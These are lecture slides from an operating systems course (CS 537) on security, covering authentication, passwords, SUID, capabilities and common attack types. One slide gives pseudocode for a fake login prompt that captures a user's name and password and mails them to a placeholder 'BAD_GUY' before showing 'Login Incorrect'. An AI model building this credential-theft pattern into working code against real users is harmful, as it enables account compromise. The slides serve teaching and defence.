

Security

CS 537 - Introduction to Operating Systems

Issues

- Modern systems allow multiple users access to a computer
- Distributed file systems allow users to try and access each others files
- Internet allows communication across public lines (or even wireless)
 - these lines can be “tapped”

Protection

- Physical protection
 - the most secure system is one inside a vault with guards outside and no connection to the outside world
- Software protection
 - using authentication, access lists, encryption, etc. to protect a system
- Without physical protection, software does no good
- We will concern ourselves with software

Mechanism & Policy

- Mechanism
 - basic primitives
 - how something is done
- Policy
 - how primitives are used to implement functionality
 - what will be done
- For a given mechanism, the policy at different locations may differ

Mechanism & Policy

- An example
 - mechanism: capabilities list
 - tells which users can access which resources
 - policy at one location:
 - all users on system have read access to a file
 - policy at a different location:
 - no one but creator of file has any access to a file

Design Principles

- *Public Design*
 - don't make security algorithms secret
 - bad guys are going to figure it out eventually
 - no one but bad guys will know how to stop it
- *Default - No Access*
 - people will complain if they don't have enough access - not the other way around
- *Minimum Privilege*
 - give user just enough access to accomplish a task - no more

Design Principles

- Simple, Uniform Mechanism
 - complexity leads to bugs
 - policy can be difficult to implement
 - make things as simple as possible
- Appropriate Measures
 - what's the cost to a hacker?
 - what's the cost if system is hacked?
 - if rewards don't match effort, system will be left alone

Authentication

- Almost all systems rely on identifying a user to enforce protection
 - can't enforce a policy without knowing who wants access
 - access can be to files, to computers, to programs, etc.
- Most systems use login names and passwords to identify users
- There are other methods
 - what?

Root Access

- Most systems have a system administrator that can do whatever they want
 - Unix calls this the root user
- There are also programs that run with root access
 - password programs, mail programs, etc.
- If a hacker can get root access, they can get almost any information they want

Logins & Passwords

- Login names indicate who wants access
- Passwords confirm user is who they claim to be
- This is the most common method of user authentication
- Keeping a password secret is critical
- Selecting good passwords is critical

Brute Force Attack

- a.k.a. dictionary attack
 - just try to guess everything
- Put delay between attempts
 - 2 second delay after a wrong guess means more computing power won't help
- Don't allow common words for passwords
 - this means common names as well
- Try to run common cracker on a password before accepting it

Passwords

- Could have the system assign a random password to a user
 - may be hard for the user to remember
- Make the user change passwords frequently
 - user may switch between 2 passwords
 - not much more secure
 - user may write down password to remember it
- Best thing to do is require the user to select a good password and leave it alone

Trojan Horse

- Write a program that looks like “good guy”
 - make it look like a login prompt
- User enters their login name and password
- Get a message saying incorrect password
 - user thinks they typed it wrong
- E-mail login name and password to bad guy
- Exit the program and return to the real login prompt

Trojan Horse

```
print("login: ");
name = readLine();
turnOffEchoing();
print("Password: ");
password = readLine();
sendMail(BAD_GUY, name, password);
print("Login Incorrect");
exit();
```

Trojan Horse

- Many other forms of Trojan horse program
 - create a new copy of *ls* that does something malicious but still performs *ls* function
 - requires previous access to the file system
 - if the user running *ls* is root, can really do some damage
 - pretend to be a different computer and give false information out to user logging in

Challenge Response

- User challenges the system
- System gives back a response verifying it is the user
- User then tries to login
 - knows it is dealing with the real thing
- This works well for accessing remote computers
 - requires some type of encryption
 - more on this later

SUID

- Very powerful software primitive
- Allows user to change identity temporarily
 - identity changes to that of the owner of the program being executed
- Most common identity to change to is *root*
 - this means these programs must be very carefully written
 - otherwise a user can do terrible things
- Still keep track of who the user really is
- Each file has another access bit called *setuid*

SUID

- Assume an *ls* command produces the following

access	owner	name
<code>_rwx rwx rwx</code>	mattmcc	myProg
<code>s rwx ___</code>	root	mailProg
- Now assume mattmcc runs myProg which has the following code in it


```
n = fork();
if(n == 0) {
    exec("mailProg", ...);
}
```
- Also assume that all of the mail files are in a protected directory
- Now mailProg can access all of the mail files and get the mail for mattmcc

Capabilities

- A slightly different approach than access lists
 - recall access lists give rights of each user for each resource
- Everything, including files, is considered an object
- Each user has a set of capabilities they can perform on an object
- These capabilities can be transferred between users

Capabilities

Capabilities for process A on object X



- If object X is an executable program, it may have capabilities of its own
 - in this way, A can have access to resources it might not otherwise be able to

Capabilities

- To make this work, only the operating system can modify and create capabilities
 - otherwise users could give themselves excessive rights

General Attacks

- *Interruption*
 - stops a user from getting work done
- *Interception*
 - grab data in transfer and read it
- *Modification*
 - change data in transit to give false info
- *Fabrication*
 - pretend to be someone else

Specific Attacks

- *trap door*
 - secret entrance into a system
 - doing this in the compiler can prevent the source code from showing what's going on
 - Ken Thompson's famous trap door compiler
 - war games
- *logic bomb*
 - a malicious program set to go off at a certain time
 - ping a popular server at a specific time
- *trojan horse*
 - disguise a bad program as a good one
- *denial of service*
 - send lots of messages to a particular server until it is overloaded and can no longer respond to legitimate requests

Specific Attacks

- *viruses*
 - additional code added to existing programs
 - causes these common programs to do something malicious
 - often they are capable of “spreading” themselves to other programs and other computers
 - Michelangelo virus
- *worms*
 - stand-alone programs that repeatedly spawns itself
 - uses tremendous system resources
 - slows machines down
 - they can spread very quickly
 - Robert Morris example
